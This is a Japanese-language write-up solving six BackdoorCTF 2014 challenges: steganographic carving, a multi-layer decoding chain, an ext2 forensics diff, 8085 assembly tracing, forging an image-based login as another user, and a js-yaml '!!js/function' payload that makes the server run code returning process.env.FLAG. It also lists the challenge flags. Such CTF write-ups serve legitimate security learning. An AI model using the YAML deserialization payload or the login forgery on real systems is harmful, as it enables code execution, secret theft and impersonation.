BackdoorCTF 2014 Write up

Crypto 10

問題文

H4x0R(jpgファイルへのリンク) recently went missing. An investigating team specializing in hacking was deployed to search around his place. All they found was this file. Please help them obtain secret 32characters string that can lead to him

Submit the flag as: flag_obtained

答え

crypto10.jpgをforemostにかけるとzipファイルが出てきて、解凍するとgot2.jpgが出てきます。
got2.jpgをforemostにかけるとzipファイルが出てきて、解凍するとtxt.txtが出てきます。
txt.txtに答えが書かれています。

Flag:

6307834008eb8edbe18c7a20ee4a909d

Crypto 100

問題文

H4x0R got this weird code while coming back from school. can you get a 32char code flag that can make him happy ?



1f8b08089c452c530003737465703900edd85b6ec3300c44d1ffae86dcffe61ac7e1437403e42b1a171745d02a946c890713383537f3c7cb3c7e8e37ec7c99d7fb39cbe3afaa5bac89f1735e5c3597bf263e571ef52ab549d6d759bb5eed2de6d7c56bf76d3f6de47d76ac8e9567c9bdefb0d7dbe16c3d67ded997bbb71eae3d8d7db8d796d6fed7fda317f808fb5ceaf848f9b48ee1a3e833ebf868f9901f6d9f59c747cb87fca8faacfbc1079fbbf8ccfa469f1ce323999f4b1d9f6b7d8f4f1e161ff2732b1ff2a3eda3911f7cb47d78bed6f6213fef7c667da3cfa58e0ff9c1071f7cf0f986cface3830f3e1f7fffb9d4f1c147dd67d6f7f8f43ee0d37d34f29387c547d6a7c6f828faf48ee1e335191f611ff283cf673e35c647d1a7770c1f2d9fb33ff8a8fa909f3bf8cc3a3e5a3ee447d9a7c6f8a8f9f8da157c14ff7f80cf1f3e1af9895ee0a3e973cec147d5270f8b8fa40fcf07da3ed10b7ca6cfacefcc8f8d3a3e2af9e1f3ed9d8f467ef2b0f8e8e6071f599fe8053e9a3ee4e7063e39c647d287fce0830f3effd327f6808fa6cfd2317cb47c7a1ff0d1f3213fda3ee447db87fc68fbb4fbe123e8e36b57f0499f59df989fd6317ce4f2137bc067f1d1c8cfd99f65ddebe0a976fcfef9059996b432616b0000


Hint: A decade worth of encryption layers

答え

問題文をhexデコードするとgzipが出てきます。
gzipを解凍すると0と1だけが大量に書かれたファイルが出てきます。
8文字ごと区切って2進数として読むとBase64の書かれたファイルが出てきます。
Base64をデコードすると-GASYADT*&-25-GASYADT*&-33-……などと大量に書かれたファイルが出てきます。
アルファベットや記号は気にせず数字だけをhexデコードするとURLエンコードされた文字列が出てきます。
URLデコードするとhexが出てきます。
hexデコードするとuggc://cnfgr.hohagh.pbz/7130554/というのが出てきます。
ROT13デコードするとURLになり、アクセスするとフラグが得られます。

Flag:

5d3144233c46404dba4afc766601b997

Miscellaneous 150

問題文

This(ファイルへのリンク) wierd file was found by H4XOR when trying to search for his flags. Can you get him his flag ?

Submit flag as flag_obtained


Hint: Brush upon your history lessons.

答え

fileコマンドにかけるとzipのようなので、unzipします。
misc1504.zipが出てくるので、unzipします。
misc1503.zipが出てくるので、unzipします。
misc1502.zipが出てくるので、unzipします。
misc1501.zipが出てくるので、unzipします。
misc150.zipが出てくるので、unzipします。
Misc150というファイルが出てきます。fileコマンドにかけるとLinux rev 1.0 ext2 filesystem dataとのことなので、mountします。
mountするとpdfやらwavやらkey.txt(ダミー)やらゲームやらが出てきますが、

% diff .bash_history lost+found/\#23
330d329
< curl http://paste.ubuntu.com/7130279/
355c354
< 
---
> curl http://paste.ubuntu.com/7130279/

としたら答えが出てきました。

Flag:

934360b5b4901b727471b39455949a47

Miscellaneous 200

問題文

>A military troop was caught sending over a microprocessor chip along with a memory chip to a family in Scotland.

The program on the microprocessor can be found here(ファイルへのリンク).

The Memory Chip had the following state: 103 110 117 95 115 107 105 108 108 95 97 99 116 101 100 95 114 97 119 starting from memory address 0x0031, ie the value in the memory location 0x0032 was 110.

Submit the flag as: md5(secret_msg)

答え

元々のメモリのアドレス0x31からの内容を文字列に直すと"gnu_skill_acted_raw"となります。
ファイルには次のような8085のアセンブリが書かれていました。

; This is the default program that ships with
; every 8085 that we at Intel manufacture
;
; Cheers!

jmp start

;code

start: lxi H,0041h
lxi D,0044h
mvi B,03h

loop: mov A,M
xchg
mov M,A
xchg
inx H
inx D
dcr B
mov A,B
sbi 0
jnz loop

lxi H,0041h
lxi D,0042h
mvi A,69h
mov M,A
xchg
mvi A,6Eh
mov M,A
inx H
mvi A,5Fh
mov M,A

lxi H,0044h
lxi D,0046h
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,0032h
lxi D,0033h
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,003Bh
lxi D,003Ch
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,003Dh
lxi D,003Fh
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,0036h
lxi D,0035h
mvi B,04h

loopagain: mov A,M
xchg
mov M,A
xchg
inx H
inx D
dcr B
mov A,B
sbi 0
jnz loopagain

lxi H,0039h
mvi A,73h
mov M,A

;halt
hlt

http://ja.wikipedia.org/wiki/Intel_8085を見てみると、8080とほとんど同じだということなので、http://ja.wikipedia.org/wiki/Intel_8080の命令セットの欄を参照しながら読むと、以下のような処理をしているだけだとわかります。

[0x44] = [0x41]
[0x45] = [0x42]
[0x46] = [0x43]

[0x41] = 0x69
[0x42] = 0x6e
[0x43] = 0x5f

[0x44] <=> [0x46]

[0x32] <=> [0x33]

[0x3b] <=> [0x3c]

[0x3d] <=> [0x3f]

[0x35] = [0x36]
[0x36] = [0x37]
[0x37] = [0x38]
[0x38] = [0x39]

[0x39] = 0x73

実際にやってみると、"gun_kills_cadet_in_war"という文字列が得られるので、md5を取ると答えが得られます。

Flag:

f57f4973ce9eb1c07c71ad3be3752c79

Miscellaneous 250-2

問題文

Username and password based login seemed a bit too monotonous. We developed an indigenous image based login system.

The login service is available here(ログインページへのリンク).

The image below can be used to login as the backdoor user. Unfortunately that doesn't serve any purpose.

Login as the sdslabs user for a change.

Submit the flag as: md5(flag_obtained)


Hint: Are you kidding me? Character recognition seriously?

答え

言われたとおりログインページでbackdoorの画像をアップロードすると、backdoorユーザとしてログインできます。
画像をgimpなどのペイントソフトで開いて黒い部分を白で塗りつぶすと、左上のほうに黒いドット(#010101)が残ります。
画像の一番左上から#000000を0、#010101を1として、右に向かって2進数として解釈すると"backdoor"の文字コードの2進数表示が得られます。
そこで、backdoorの代わりにsdslabsの2進数表示を左上に作った画像をアップロードすることで、sdslabsとしてログインできます。
sdslabsとしてログインすると、Congrats the flag is practice_makes_one_perfectと表示されます。

Flag:

c16a3c8504985a8c91956c29f7338184

Web 250-1

問題文

Web250(Webページヘのリンク) Flag format: md5_string

答え

リンクを開くと、MarkdownのソースをHTMLに変換するWebアプリが出てきます。
https://github.com/backdoor-ctf/web250からソースが得られます。
js-yamlの使い方をググってみると、かなり自由に色々できるようです。
次のようなデータを送信するとフラグが得られます。

---
flag: !!js/function >
  function() {
    return process.env.FLAG;
  }
---
{{flag}}

Flag:

fb1f85e4f37eb3bf31141cb1dcce1caf

感想

MD5どんだけ好きなんですか